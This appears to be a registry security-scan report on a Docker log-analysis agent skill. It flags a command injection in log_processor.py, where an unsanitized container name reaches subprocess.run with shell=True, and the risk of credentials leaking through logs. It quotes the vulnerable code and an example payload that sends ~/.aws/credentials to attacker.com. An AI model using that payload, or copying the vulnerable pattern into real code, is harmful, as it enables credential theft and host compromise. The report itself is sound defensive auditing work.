Docker Pro Diagnostic

ISSUES FOUND max severity HIGHSkillSpector Caution 45 registry clawhub.ai last scanned 1 scan

3 findings (2 high, 1 medium), mainly command injection, data exfiltration. Most recent scan 2026-02-06.

This Docker diagnostic skill contains a CRITICAL command injection vulnerability due to unsanitized user input being passed to shell execution. The skill legitimately analyzes Docker container logs for troubleshooting, but the implementation has serious security flaws. The primary concern is the use of shell=True with f-string interpolation of user-provided container names, allowing arbitrary command execution. Additionally, the skill accesses Docker logs which may contain sensitive credentials and secrets without any filtering or redaction mechanisms. The missing allowed-tools declaration and lack of input validation compound these security issues. While the skill's stated purpose is legitimate, the implementation requires significant security hardening before it can be safely used.

Scanner's overall assessment (LLM analyzer)
Findings3
Critical0
High2
Medium1
Low0
Analyzersstatic behavioral llm trigger meta

Second scanner: NVIDIA SkillSpector

VerdictCaution 45
Score45 / 100
Issues3
CategoriesTool Misuse MCP Least Privilege Dangerous Code Execution
Version2.12.0 (static)

Independent static run, no language model, over the same files as the Cisco scan above. How the two scanners compare across the whole corpus: Two scanners, one corpus.

What this skill does

Advanced log analysis for Docker containers using signal extraction.

Package
2 files, 2.4 KB
SKILL.md
78 words, 2 sections
Code
Python (1)

SKILL.md covers: Docker Pro Diagnostic · Example Command

Findings

HIGH Shell command execution with shell=True enabled Command Injectionstatic

Pattern detected: subprocess.run(cmd, shell=True

log_processor.py:14

result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
Remediation: Use shell=False and pass commands as lists
HIGH Command Injection Vulnerability via Unsanitized Container Name Command Injectionllm

The log_processor.py script constructs a shell command using f-string interpolation with the user-provided container_name parameter without any input validation or sanitization. The command 'docker logs --tail {max_lines} {container_name}' is executed via subprocess.run() with shell=True, allowing arbitrary command injection. An attacker could provide a malicious container name like 'foo; curl http://attacker.com/exfil?data=$(cat ~/.aws/credentials)' to execute arbitrary commands on the host system.

log_processor.py:13

cmd = f"docker logs --tail {max_lines} {container_name}"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
Remediation: 1. Remove shell=True and pass arguments as a list: subprocess.run(['docker', 'logs', '--tail', str(max_lines), container_name], capture_output=True, text=True). 2. Add input validation to ensure container_name matches expected Docker container naming patterns (alphanumeric, hyphens, underscores only). 3. Use shlex.quote() if shell=True is absolutely necessary (though it should be avoided).
MEDIUM Potential Sensitive Data Exposure via Docker Logs Data Exfiltrationllm

The skill reads Docker container logs which commonly contain sensitive information such as API keys, database credentials, authentication tokens, internal IP addresses, and stack traces with code paths. The script extracts and returns up to 50 lines of log content including error context without any filtering or redaction of sensitive data. This information is then passed to the AI agent's reasoning engine, potentially exposing secrets. While the skill's purpose is legitimate log analysis, there are no safeguards against inadvertent credential exposure.

log_processor.py

result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
lines = result.stderr.splitlines() + result.stdout.splitlines()
...
return "\n".join(findings[:50])
Remediation: 1. Implement sensitive data filtering to redact common patterns (API keys, tokens, passwords, connection strings) before returning log content. 2. Add a warning in SKILL.md that users should review logs for sensitive data before analysis. 3. Consider implementing a --redact flag that applies regex-based filtering for common secret patterns. 4. Limit the scope of log access to specific containers rather than allowing arbitrary container names.

What is in the package

FileKindSize
SKILL.mddoc712 B
log_processor.pyscript1.7 KB

Package contents recorded 2026-10-22. The scan above ran against the version current at scan time; the two can differ if the skill has since been updated.

What we checked

What we did not check

Sources

Related skills